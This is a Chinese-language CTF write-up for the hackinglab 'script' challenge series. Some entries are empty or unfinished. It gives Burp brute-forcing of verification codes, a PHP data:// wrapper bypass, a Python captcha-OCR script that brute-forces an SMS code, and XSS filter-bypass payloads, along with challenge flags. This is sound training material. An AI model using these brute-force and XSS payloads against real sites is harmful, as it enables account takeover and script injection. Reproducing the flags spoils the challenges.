[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup
腳本關 1 key又又找不到了
關鍵字:
知識點:
步驟:點擊提供的鏈接后,實際發生了兩次跳轉,key 在第一次跳轉的網頁中,key is : yougotit_script_now
腳本關 2 快速口算
關鍵字:
知識點:python基礎
1.python–正則表達式中(.)()(.?)以及re.S的認識
2.eval() 函數用來執行一個字符串表達式,并返回表達式的值。
3.
步驟:
腳本關3 這個題目是空的
關鍵字: null
步驟: null
腳本關 怎么就是不彈出key呢?
關鍵字:js
知識點:代碼審計。發現alert(),prompt()和write()函數都被新函數覆蓋掉了。
步驟:
1.f12,查看源代碼,變量a其實是一個匿名函數,而且js里面也禁用了一些常用的彈出對話框的函數,由于js是基于客戶端瀏覽器的
2.打開來新的頁面 f12 控制臺 粘貼a里面的內容
slakfjteslkjsd
腳本關 5 逗逼驗證碼第一期
關鍵字:burp 爆破 重放
知識點:
步驟:
返回pwd error。重放,返回的還是 pwd error。由此可知驗證碼失效
1.burp 抓獲 獲得pwd error 的錯誤
2.右鍵send to intruder,設置相關參數,attack (可能出現Payload set 1: Invalid number settings)
3.得到密碼,repeater重修改密碼,go一下得到flag
PS:Payload set 1: Invalid number settings這是一個軟件bug
如果點擊start attrack 后出現 Payload set 1: Invalid number settings 的提示,先點hex 后點 decimal 再開始start attrack,需要手動讓它刷新。
腳本關 6 逗比驗證碼第二期
關鍵字:burp
知識點:
步驟:
1.訪問通關地址,輸入任意的4位數字進行登錄,返回pwd error,重放,返回的是vcode error。可知驗證碼驗證一次即失效了
2.嘗試刪除vcode參數的值,重放,返回pwd error。
3.爆破得到pwd= 1228,返回修改得到key : LJLJL789ss33fasvxcvsdf#@sd
腳本關 7 逗比的驗證碼第三期(SESSION)
關鍵字:重放 session burp
知識點:驗證碼發布的流程
用戶如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟著變了
但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程序發送數據,這樣驗證碼程序沒有被調用,當然 session 和 cookie 存儲的加密驗證碼就是上次的值,也就沒有更新,這樣以后無限次的通過post直接發送的數據,而不考慮驗證碼,驗證碼形同虛設!
所以,在核對驗證碼后先將 session 和 cookie 的值清空,然后做數據合法性判斷,然后入庫!這樣,一個漏洞就被補上了!
步驟: 同第六題
腳本關 8微笑一下就能過關了
關鍵字:php
知識點:
步驟:
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?.=data://text/plain;charset=unicode,(●’?’●)
腳本關 9逗比的手機驗證碼
關鍵字:
知識點:
步驟:
1.查看源碼
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?view-source
2.分析源碼 考PHP偽協議
仔細分析可以發現,第3點與第1點矛盾了
既要對"_“賦值,又得想辦法去掉”_“中的”_"
那么可以采用Url編碼變為"%5f".這樣第3點就滿足了.所以我們輸入就應該為"%5f"
繼續分析第2點,這個地方把 http https ftp telnet 這些給過濾了
而第6點又要通過file_get_contents()取出$_GET[’_’]里的值.
根據第5點,$_GET[’_’]又必須不存在
所以$_GET[’_’]只能是字符串"(●’?’●)",不可能是文件名
那么file_get_contents()里的參數應該是啥呢,查了一下,發現data://完美符合.所以我們輸入就應該為
"^%5f^=data:,(●'?'●)"3.打開鏈接 獲取flag
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?%5f=data:,(●’?’●)
參考鏈接:https://blog.csdn.net/qq_26090065/article/details/82503651
腳本關 9 逗比的手機驗證碼
關鍵字:手機驗證碼處的邏輯漏洞
步驟:
腳本關 10 基情燃燒的歲月
關鍵字:
知識點:
步驟:
腳本關 11 驗證碼識別
關鍵字:
知識點:
步驟:
1.查看原碼 手機驗證碼需要
2.寫腳本
python 2.7
python 3
#!/usr/bin/env python3# Author: renzongxianimport pytesseractfrom PIL import Imageimport requestsimport oscur_path = os.getcwd()vcode_path = os.path.join(cur_path, 'vcode.png')header = {'Cookie': 'PHPSESSID=$Your Value'}def vcode():# 驗證碼識別函數pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'r = requests.get(pic_url, headers=header, timeout=10)with open(vcode_path, 'wb') as pic:pic.write(r.content)im = pytesseract.image_to_string(Image.open(vcode_path))im = im.replace(' ', '')if im != '':return imelse:return vcode()url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'for i in range(100, 1000):code = vcode()data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}r = requests.post(url, data=data, headers=header, timeout=10)response = r.content.decode('utf-8')if 'user_code or mobi_code error' in response:print('trying ' + str(i))else:print('the mobi_code is ' + str(i))print(response)break3.運行得到key is 133dbc85dda4aa**)
腳本關 12 XSS基礎關
關鍵字:XSS
步驟:
1.F12查看網頁源代碼
2.看到xss,打開文件,就是輸入alert(HackingLab)
http://lab1.xseclab.com//xssjs/xss_check.php
3.輸入
腳本關 13 XSS基礎2:簡單繞過
關鍵字:XSS
步驟:
1.上一題的 payload 不能用了,會提示檢測到 ,換一種方式
2.輸入<img src=# οnerrοr=alert(HackingLab) />
成功彈窗,并得到key is: xss2test2you
腳本關 14 XSS 基礎3:檢測與構造
關鍵字:XSS
步驟:
過濾了各種關鍵字以及<>,但是沒有過濾’,這里構造’οnmοuseenter=alert(HackingLab)>,但是發現依然不可以,忽然發現用當value的值后是alert時,后邊不會被過濾,所以構造alert’οnmοuseenter=alert(HackingLab)> ,因為onmouseenter 事件在鼠標指針移動到元素上時才觸發,所以當我們把鼠標放在下面的框,即可得到key
腳本關 15 Principle很重要的XSS
關鍵字:xss
步驟:
1.思路 不斷嘗試 觀察過濾情況 得到括號情況
javascript:alert(1) 被屏蔽
<>括號過濾情況為:
<被過濾(此處過濾指被刪除) >正常
但是當兩個符號一起出現時會被全部刪除,包括中間的內容
這里就是個可以利用的繞過方式了
2. 嘗試繞過 javascript:alert(1)
1.結果卻被屏蔽,有以下兩種情況:
2.1后端代碼是先匹配刪除掉括號再進行的關鍵詞查找
2.2alter被屏蔽
2.測試下第二個情況
3.其他情況
參考:https://blog.csdn.net/Jacob12774/article/details/84778322
參考鏈接:https://www.cnblogs.com/renzongxian/p/5618631.html
參考鏈接:https://blog.csdn.net/qq_36119192/article/details/102719130
總結
以上是生活随笔為你收集整理的[hackinglab][CTF][脚本关][2020] hackinglab 脚本关 writeup的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Web前端-HTML基础
- 下一篇: JSONObject.fromObjec